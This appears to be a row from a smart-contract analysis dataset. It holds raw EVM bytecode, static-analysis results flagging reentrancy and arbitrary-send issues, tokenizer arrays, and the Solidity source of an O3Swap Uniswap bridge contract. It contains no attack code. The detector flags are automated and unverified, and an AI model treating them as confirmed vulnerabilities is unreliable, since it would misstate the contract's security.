8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b613752816132a1565b811461375d57600080fd5b50565b613769816132b3565b811461377457600080fd5b50565b613780816132df565b811461378b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654d696e6920466c6f6b6920496e75207c20742e6d652f4d696e69666c6f6b69696e75a2646970667358221220dea27250da1d81e6559cf26e11a98fe6eabb261bf9c0f2ead9ca001aa459658864736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 3401, 2546, 19961, 2546, 23499, 2063, 16576, 2487, 2497, 2629, 2050, 2509, 2497, 2683, 12740, 2683, 2620, 22610, 21472, 16147, 2094, 2620, 2546, 2620, 22025, 2509, 2497, 14526, 1013, 1013, 7163, 13109, 23212, 1999, 2226, 1013, 1013, 4642, 2278, 1998, 1039, 2290, 4646, 1013, 1013, 5622, 28940, 25469, 5299, 1013, 1013, 1056, 2290, 1024, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 7163, 10258, 23212, 2378, 2226, 1013, 1013, 4037, 1024, 7163, 10258, 23212, 2378, 2226, 1012, 4012, 1013, 1013, 1039, 2290, 1010, 4642, 2278, 10328, 1024, 7552, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,448
0x96cfa408ca039d9afea0b8227be741ef52e8a037
// SPDX-License-Identifier: GPL-3.0 pragma solidity =0.6.12; contract Context { function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library UniswapV2Library { using SafeMath for uint; // returns sorted token addresses, used to handle return values from pairs sorted in this order function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) { require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES'); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS'); } // calculates the CREATE2 address for a pair without making any external calls function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = sortTokens(tokenA, tokenB); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } // fetches and sorts the reserves for a pair function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) { (address token0,) = sortTokens(tokenA, tokenB); (uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves(); (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0); } // given some amount of an asset and pair reserves, returns an equivalent amount of the other asset function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) { require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT'); require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); amountB = amountA.mul(reserveB) / reserveA; } // given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) { require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint amountInWithFee = amountIn.mul(997); uint numerator = amountInWithFee.mul(reserveOut); uint denominator = reserveIn.mul(1000).add(amountInWithFee); amountOut = numerator / denominator; } // given an output amount of an asset and pair reserves, returns a required input amount of the other asset function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) { require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint numerator = reserveIn.mul(amountOut).mul(1000); uint denominator = reserveOut.sub(amountOut).mul(997); amountIn = (numerator / denominator).add(1); } // performs chained getAmountOut calculations on any number of pairs function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'UniswapV2Library: INVALID_PATH'); amounts = new uint[](path.length); amounts[0] = amountIn; for (uint i; i < path.length - 1; i++) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]); amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut); } } // performs chained getAmountIn calculations on any number of pairs function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'UniswapV2Library: INVALID_PATH'); amounts = new uint[](path.length); amounts[amounts.length - 1] = amountOut; for (uint i = path.length - 1; i > 0; i--) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]); amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut); } } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } interface IWETH { function deposit() external payable; function transfer(address to, uint value) external returns (bool); function withdraw(uint) external; } interface ISwapper { function swap( address fromAssetHash, uint64 toPoolId, uint64 toChainId, bytes calldata toAssetHash, bytes calldata toAddress, uint amount, uint minOutAmount, uint fee, uint id ) external payable returns (bool); } library Convert { function bytesToAddress(bytes memory bys) internal pure returns (address addr) { assembly { addr := mload(add(bys,20)) } } } library SafeMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, 'ds-math-add-overflow'); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, 'ds-math-sub-underflow'); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow'); } function div(uint x, uint y) internal pure returns (uint z) { return x / y; } } library TransferHelper { function safeApprove(address token, address to, uint value) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } function safeTransfer(address token, address to, uint value) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } function safeTransferFrom(address token, address from, address to, uint value) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } function safeTransferETH(address to, uint value) internal { (bool success,) = to.call{value:value}(new bytes(0)); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } } contract O3SwapETHUniswapBridge is Ownable { using SafeMath for uint256; using Convert for bytes; event LOG_AGG_SWAP ( uint256 amountOut, // Raw swapped token amount out without aggFee uint256 fee ); address public WETH; address public uniswapFactory; address public polySwapper; uint public polySwapperId; uint256 public aggregatorFee = 3 * 10 ** 7; // Default to 0.3% uint256 public constant FEE_DENOMINATOR = 10 ** 10; modifier ensure(uint deadline) { require(deadline >= block.timestamp, 'O3SwapETHUniswapBridge: EXPIRED'); _; } constructor ( address _weth, address _factory, address _swapper, uint _swapperId ) public { WETH = _weth; uniswapFactory = _factory; polySwapper = _swapper; polySwapperId = _swapperId; } function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint swapAmountOutMin, address[] calldata path, address to, uint deadline ) external virtual ensure(deadline) { uint amountOut = _swapExactTokensForTokensSupportingFeeOnTransferTokens(amountIn, swapAmountOutMin, path); uint feeAmount = amountOut.mul(aggregatorFee).div(FEE_DENOMINATOR); emit LOG_AGG_SWAP(amountOut, feeAmount); uint adjustedAmountOut = amountOut.sub(feeAmount); TransferHelper.safeTransfer(path[path.length - 1], to, adjustedAmountOut); } function swapExactTokensForTokensSupportingFeeOnTransferTokensCrossChain( uint amountIn, uint swapAmountOutMin, address[] calldata path, bytes memory to, uint deadline, uint64 toPoolId, uint64 toChainId, bytes memory toAssetHash, uint polyMinOutAmount, uint fee ) external virtual payable ensure(deadline) returns (bool) { uint polyAmountIn; { uint amountOut = _swapExactTokensForTokensSupportingFeeOnTransferTokens(amountIn, swapAmountOutMin, path); uint feeAmount = amountOut.mul(aggregatorFee).div(FEE_DENOMINATOR); emit LOG_AGG_SWAP(amountOut, feeAmount); polyAmountIn = amountOut.sub(feeAmount); } return _cross( path[path.length - 1], toPoolId, toChainId, toAssetHash, to, polyAmountIn, polyMinOutAmount, fee ); } function _swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path ) internal virtual returns (uint) { TransferHelper.safeTransferFrom( path[0], msg.sender, UniswapV2Library.pairFor(uniswapFactory, path[0], path[1]), amountIn ); uint balanceBefore = IERC20(path[path.length - 1]).balanceOf(address(this)); _swapSupportingFeeOnTransferTokens(path, address(this)); uint amountOut = IERC20(path[path.length - 1]).balanceOf(address(this)).sub(balanceBefore); require(amountOut >= amountOutMin, 'O3SwapETHUniswapBridge: INSUFFICIENT_OUTPUT_AMOUNT'); return amountOut; } function swapExactETHForTokensSupportingFeeOnTransferTokens( uint swapAmountOutMin, address[] calldata path, address to, uint deadline ) external virtual payable ensure(deadline) { uint amountOut = _swapExactETHForTokensSupportingFeeOnTransferTokens(swapAmountOutMin, path, 0); uint feeAmount = amountOut.mul(aggregatorFee).div(FEE_DENOMINATOR); emit LOG_AGG_SWAP(amountOut, feeAmount); uint adjustedAmountOut = amountOut.sub(feeAmount); TransferHelper.safeTransfer(path[path.length - 1], to, adjustedAmountOut); } function swapExactETHForTokensSupportingFeeOnTransferTokensCrossChain( uint swapAmountOutMin, address[] calldata path, bytes memory to, uint deadline, uint64 toPoolId, uint64 toChainId, bytes memory toAssetHash, uint polyMinOutAmount, uint fee ) external virtual payable ensure(deadline) returns (bool) { uint polyAmountIn; { uint amountOut = _swapExactETHForTokensSupportingFeeOnTransferTokens(swapAmountOutMin, path, fee); uint feeAmount = amountOut.mul(aggregatorFee).div(FEE_DENOMINATOR); emit LOG_AGG_SWAP(amountOut, feeAmount); polyAmountIn = amountOut.sub(feeAmount); } return _cross( path[path.length - 1], toPoolId, toChainId, toAssetHash, to, polyAmountIn, polyMinOutAmount, fee ); } function _swapExactETHForTokensSupportingFeeOnTransferTokens( uint swapAmountOutMin, address[] calldata path, uint fee ) internal virtual returns (uint) { require(path[0] == WETH, 'O3SwapETHUniswapBridge: INVALID_PATH'); uint amountIn = msg.value.sub(fee); require(amountIn > 0, 'O3SwapETHUniswapBridge: INSUFFICIENT_INPUT_AMOUNT'); IWETH(WETH).deposit{value: amountIn}(); assert(IWETH(WETH).transfer(UniswapV2Library.pairFor(uniswapFactory, path[0], path[1]), amountIn)); uint balanceBefore = IERC20(path[path.length - 1]).balanceOf(address(this)); _swapSupportingFeeOnTransferTokens(path, address(this)); uint amountOut = IERC20(path[path.length - 1]).balanceOf(address(this)).sub(balanceBefore); require(amountOut >= swapAmountOutMin, 'O3SwapETHUniswapBridge: INSUFFICIENT_OUTPUT_AMOUNT'); return amountOut; } function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint swapAmountOutMin, address[] calldata path, address to, uint deadline ) external virtual ensure(deadline) { uint amountOut = _swapExactTokensForETHSupportingFeeOnTransferTokens(amountIn, swapAmountOutMin, path); uint feeAmount = amountOut.mul(aggregatorFee).div(FEE_DENOMINATOR); emit LOG_AGG_SWAP(amountOut, feeAmount); IWETH(WETH).withdraw(amountOut); uint adjustedAmountOut = amountOut.sub(feeAmount); TransferHelper.safeTransferETH(to, adjustedAmountOut); } function _swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint swapAmountOutMin, address[] calldata path ) internal virtual returns (uint) { require(path[path.length - 1] == WETH, 'O3SwapETHUniswapBridge: INVALID_PATH'); TransferHelper.safeTransferFrom( path[0], msg.sender, UniswapV2Library.pairFor(uniswapFactory, path[0], path[1]), amountIn ); uint balanceBefore = IERC20(WETH).balanceOf(address(this)); _swapSupportingFeeOnTransferTokens(path, address(this)); uint amountOut = IERC20(WETH).balanceOf(address(this)).sub(balanceBefore); require(amountOut >= swapAmountOutMin, 'O3SwapETHUniswapBridge: INSUFFICIENT_OUTPUT_AMOUNT'); return amountOut; } // **** SWAP (supporting fee-on-transfer tokens) **** // requires the initial amount to have already been sent to the first pair function _swapSupportingFeeOnTransferTokens(address[] memory path, address _to) internal virtual { for (uint i; i < path.length - 1; i++) { (address input, address output) = (path[i], path[i + 1]); (address token0,) = UniswapV2Library.sortTokens(input, output); IUniswapV2Pair pair = IUniswapV2Pair(UniswapV2Library.pairFor(uniswapFactory, input, output)); uint amountInput; uint amountOutput; { // scope to avoid stack too deep errors (uint reserve0, uint reserve1,) = pair.getReserves(); (uint reserveInput, uint reserveOutput) = input == token0 ? (reserve0, reserve1) : (reserve1, reserve0); amountInput = IERC20(input).balanceOf(address(pair)).sub(reserveInput); amountOutput = UniswapV2Library.getAmountOut(amountInput, reserveInput, reserveOutput); } (uint amount0Out, uint amount1Out) = input == token0 ? (uint(0), amountOutput) : (amountOutput, uint(0)); address to = i < path.length - 2 ? UniswapV2Library.pairFor(uniswapFactory, output, path[i + 2]) : _to; pair.swap(amount0Out, amount1Out, to, new bytes(0)); } } function _cross( address fromAssetHash, uint64 toPoolId, uint64 toChainId, bytes memory toAssetHash, bytes memory toAddress, uint amount, uint minOutAmount, uint fee ) internal returns (bool) { // Allow `swapper contract` to transfer `amount` of `fromAssetHash` on belaof of this contract. TransferHelper.safeApprove(fromAssetHash, polySwapper, amount); bool result = ISwapper(polySwapper).swap{value: fee}( fromAssetHash, toPoolId, toChainId, toAssetHash, toAddress, amount, minOutAmount, fee, polySwapperId ); require(result, "POLY CROSSCHAIN ERROR"); return result; } receive() external payable { } function setPolySwapperId(uint _id) external onlyOwner { polySwapperId = _id; } function collect(address token) external onlyOwner { if (token == WETH) { uint256 wethBalance = IERC20(token).balanceOf(address(this)); if (wethBalance > 0) { IWETH(WETH).withdraw(wethBalance); } TransferHelper.safeTransferETH(owner(), address(this).balance); } else { TransferHelper.safeTransfer(token, owner(), IERC20(token).balanceOf(address(this))); } } function setAggregatorFee(uint _fee) external onlyOwner { aggregatorFee = _fee; } function setUniswapFactory(address _factory) external onlyOwner { uniswapFactory = _factory; } function setPolySwapper(address _swapper) external onlyOwner { polySwapper = _swapper; } function setWETH(address _weth) external onlyOwner { WETH = _weth; } }
0x6080604052600436106101275760003560e060020a900480638da5cb5b116100a4578063b818a9b511610068578063b818a9b5146107cb578063d73792a9146107e0578063dca8449f146107f5578063e04b677f1461081f578063f2fde38b146108525761012e565b80638da5cb5b1461055557806393b699051461056a5780639ed5b4dd1461071b578063ad5c464814610730578063b6f9de95146107455761012e565b80635c11d795116100eb5780635c11d7951461021f578063715018a6146102b7578063791ac947146102cc5780638540c451146103645780638bdb2afa146105245761012e565b806306ec16f814610133578063086808de146101685780631a5eefff1461018f578063355466c8146101c25780635b769f3c146101ec5761012e565b3661012e57005b600080fd5b34801561013f57600080fd5b506101666004803603602081101561015657600080fd5b5035600160a060020a0316610885565b005b34801561017457600080fd5b5061017d610ab2565b60408051918252519081900360200190f35b34801561019b57600080fd5b50610166600480360360208110156101b257600080fd5b5035600160a060020a0316610ab8565b3480156101ce57600080fd5b50610166600480360360208110156101e557600080fd5b5035610b42565b3480156101f857600080fd5b506101666004803603602081101561020f57600080fd5b5035600160a060020a0316610ba2565b34801561022b57600080fd5b50610166600480360360a081101561024257600080fd5b81359160208101359181019060608101604082013564010000000081111561026957600080fd5b82018360208201111561027b57600080fd5b8035906020019184602083028401116401000000008311171561029d57600080fd5b9193509150600160a060020a038135169060200135610c2c565b3480156102c357600080fd5b50610166610d19565b3480156102d857600080fd5b50610166600480360360a08110156102ef57600080fd5b81359160208101359181019060608101604082013564010000000081111561031657600080fd5b82018360208201111561032857600080fd5b8035906020019184602083028401116401000000008311171561034a57600080fd5b9193509150600160a060020a038135169060200135610dcb565b610510600480360361012081101561037b57600080fd5b8135919081019060408101602082013564010000000081111561039d57600080fd5b8201836020820111156103af57600080fd5b803590602001918460208302840111640100000000831117156103d157600080fd5b9193909290916020810190356401000000008111156103ef57600080fd5b82018360208201111561040157600080fd5b8035906020019184600183028401116401000000008311171561042357600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929584359567ffffffffffffffff602087013581169660408101359091169550919350915060808101906060013564010000000081111561049657600080fd5b8201836020820111156104a857600080fd5b803590602001918460018302840111640100000000831117156104ca57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505082359350505060200135610f0d565b604080519115158252519081900360200190f35b34801561053057600080fd5b50610539611003565b60408051600160a060020a039092168252519081900360200190f35b34801561056157600080fd5b50610539611012565b610510600480360361014081101561058157600080fd5b8135916020810135918101906060810160408201356401000000008111156105a857600080fd5b8201836020820111156105ba57600080fd5b803590602001918460208302840111640100000000831117156105dc57600080fd5b9193909290916020810190356401000000008111156105fa57600080fd5b82018360208201111561060c57600080fd5b8035906020019184600183028401116401000000008311171561062e57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929584359567ffffffffffffffff60208701358116966040810135909116955091935091506080810190606001356401000000008111156106a157600080fd5b8201836020820111156106b357600080fd5b803590602001918460018302840111640100000000831117156106d557600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505082359350505060200135611021565b34801561072757600080fd5b5061017d6110fc565b34801561073c57600080fd5b50610539611102565b6101666004803603608081101561075b57600080fd5b8135919081019060408101602082013564010000000081111561077d57600080fd5b82018360208201111561078f57600080fd5b803590602001918460208302840111640100000000831117156107b157600080fd5b9193509150600160a060020a038135169060200135611111565b3480156107d757600080fd5b506105396111e1565b3480156107ec57600080fd5b5061017d6111f0565b34801561080157600080fd5b506101666004803603602081101561081857600080fd5b50356111f9565b34801561082b57600080fd5b506101666004803603602081101561084257600080fd5b5035600160a060020a0316611259565b34801561085e57600080fd5b506101666004803603602081101561087557600080fd5b5035600160a060020a03166112e3565b61088d6113ee565b600054600160a060020a039081169116146108e0576040805160e560020a62461bcd0281526020600482018190526024820152600080516020612add833981519152604482015290519081900360640190fd5b600154600160a060020a0382811691161415610a1357600081600160a060020a03166370a08231306040518263ffffffff1660e060020a0281526004018082600160a060020a0316815260200191505060206040518083038186803b15801561094857600080fd5b505afa15801561095c573d6000803e3d6000fd5b505050506040513d602081101561097257600080fd5b5051905080156109fb57600154604080517f2e1a7d4d000000000000000000000000000000000000000000000000000000008152600481018490529051600160a060020a0390921691632e1a7d4d9160248082019260009290919082900301818387803b1580156109e257600080fd5b505af11580156109f6573d6000803e3d6000fd5b505050505b610a0d610a06611012565b30316113f2565b50610aaf565b610aaf81610a1f611012565b604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600160a060020a038616916370a08231916024808301926020929190829003018186803b158015610a7e57600080fd5b505afa158015610a92573d6000803e3d6000fd5b505050506040513d6020811015610aa857600080fd5b50516114ed565b50565b60045481565b610ac06113ee565b600054600160a060020a03908116911614610b13576040805160e560020a62461bcd0281526020600482018190526024820152600080516020612add833981519152604482015290519081900360640190fd5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b610b4a6113ee565b600054600160a060020a03908116911614610b9d576040805160e560020a62461bcd0281526020600482018190526024820152600080516020612add833981519152604482015290519081900360640190fd5b600555565b610baa6113ee565b600054600160a060020a03908116911614610bfd576040805160e560020a62461bcd0281526020600482018190526024820152600080516020612add833981519152604482015290519081900360640190fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b8042811015610c73576040805160e560020a62461bcd02815260206004820152601f6024820152600080516020612b2e833981519152604482015290519081900360640190fd5b6000610c8188888888611688565b90506000610ca96402540be400610ca3600554856118db90919063ffffffff16565b90611950565b60408051848152602081018390528151929350600080516020612b71833981519152929081900390910190a16000610ce18383611963565b9050610d0d88886000198101818110610cf657fe5b90506020020135600160a060020a031687836114ed565b50505050505050505050565b610d216113ee565b600054600160a060020a03908116911614610d74576040805160e560020a62461bcd0281526020600482018190526024820152600080516020612add833981519152604482015290519081900360640190fd5b60008054604051600160a060020a03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a36000805473ffffffffffffffffffffffffffffffffffffffff19169055565b8042811015610e12576040805160e560020a62461bcd02815260206004820152601f6024820152600080516020612b2e833981519152604482015290519081900360640190fd5b6000610e20888888886119be565b90506000610e426402540be400610ca3600554856118db90919063ffffffff16565b60408051848152602081018390528151929350600080516020612b71833981519152929081900390910190a1600154604080517f2e1a7d4d000000000000000000000000000000000000000000000000000000008152600481018590529051600160a060020a0390921691632e1a7d4d9160248082019260009290919082900301818387803b158015610ed457600080fd5b505af1158015610ee8573d6000803e3d6000fd5b505050506000610f01828461196390919063ffffffff16565b9050610d0d86826113f2565b60008642811015610f56576040805160e560020a62461bcd02815260206004820152601f6024820152600080516020612b2e833981519152604482015290519081900360640190fd5b600080610f658e8e8e88611b82565b90506000610f876402540be400610ca3600554856118db90919063ffffffff16565b60408051848152602081018390528151929350600080516020612b71833981519152929081900390910190a1610fbd8282611963565b9250610ff291508d90508c6000198101818110610fd657fe5b90506020020135600160a060020a03168989898e868b8b611eb2565b9d9c50505050505050505050505050565b600254600160a060020a031681565b600054600160a060020a031690565b6000864281101561106a576040805160e560020a62461bcd02815260206004820152601f6024820152600080516020612b2e833981519152604482015290519081900360640190fd5b6000806110798f8f8f8f611688565b9050600061109b6402540be400610ca3600554856118db90919063ffffffff16565b60408051848152602081018390528151929350600080516020612b71833981519152929081900390910190a16110d18282611963565b92506110ea91508d90508c6000198101818110610fd657fe5b9e9d5050505050505050505050505050565b60055481565b600154600160a060020a031681565b8042811015611158576040805160e560020a62461bcd02815260206004820152601f6024820152600080516020612b2e833981519152604482015290519081900360640190fd5b60006111678787876000611b82565b905060006111896402540be400610ca3600554856118db90919063ffffffff16565b60408051848152602081018390528151929350600080516020612b71833981519152929081900390910190a160006111c18383611963565b90506111d688886000198101818110610cf657fe5b505050505050505050565b600354600160a060020a031681565b6402540be40081565b6112016113ee565b600054600160a060020a03908116911614611254576040805160e560020a62461bcd0281526020600482018190526024820152600080516020612add833981519152604482015290519081900360640190fd5b600455565b6112616113ee565b600054600160a060020a039081169116146112b4576040805160e560020a62461bcd0281526020600482018190526024820152600080516020612add833981519152604482015290519081900360640190fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6112eb6113ee565b600054600160a060020a0390811691161461133e576040805160e560020a62461bcd0281526020600482018190526024820152600080516020612add833981519152604482015290519081900360640190fd5b600160a060020a0381166113865760405160e560020a62461bcd028152600401808060200182810382526026815260200180612a466026913960400191505060405180910390fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b3390565b60408051600080825260208201909252600160a060020a0384169083906040518082805190602001908083835b6020831061143e5780518252601f19909201916020918201910161141f565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d80600081146114a0576040519150601f19603f3d011682016040523d82523d6000602084013e6114a5565b606091505b50509050806114e85760405160e560020a62461bcd028152600401808060200182810382526023815260200180612b4e6023913960400191505060405180910390fd5b505050565b60408051600160a060020a038481166024830152604480830185905283518084039091018152606490920183526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb00000000000000000000000000000000000000000000000000000000178152925182516000946060949389169392918291908083835b602083106115985780518252601f199092019160209182019101611579565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146115fa576040519150601f19603f3d011682016040523d82523d6000602084013e6115ff565b606091505b509150915081801561162d57508051158061162d575080806020019051602081101561162a57600080fd5b50515b611681576040805160e560020a62461bcd02815260206004820152601f60248201527f5472616e7366657248656c7065723a205452414e534645525f4641494c454400604482015290519081900360640190fd5b5050505050565b60006117098383600081811061169a57fe5b90506020020135600160a060020a031633611703600260009054906101000a9004600160a060020a0316878760008181106116d157fe5b90506020020135600160a060020a0316888860018181106116ee57fe5b90506020020135600160a060020a03166120de565b886121bc565b60008383600019810181811061171b57fe5b90506020020135600160a060020a0316600160a060020a03166370a08231306040518263ffffffff1660e060020a0281526004018082600160a060020a0316815260200191505060206040518083038186803b15801561177a57600080fd5b505afa15801561178e573d6000803e3d6000fd5b505050506040513d60208110156117a457600080fd5b505160408051602086810282810182019093528682529293506117e692909187918791829185019084908082843760009201919091525030925061234a915050565b600061188d82868660001981018181106117fc57fe5b90506020020135600160a060020a0316600160a060020a0316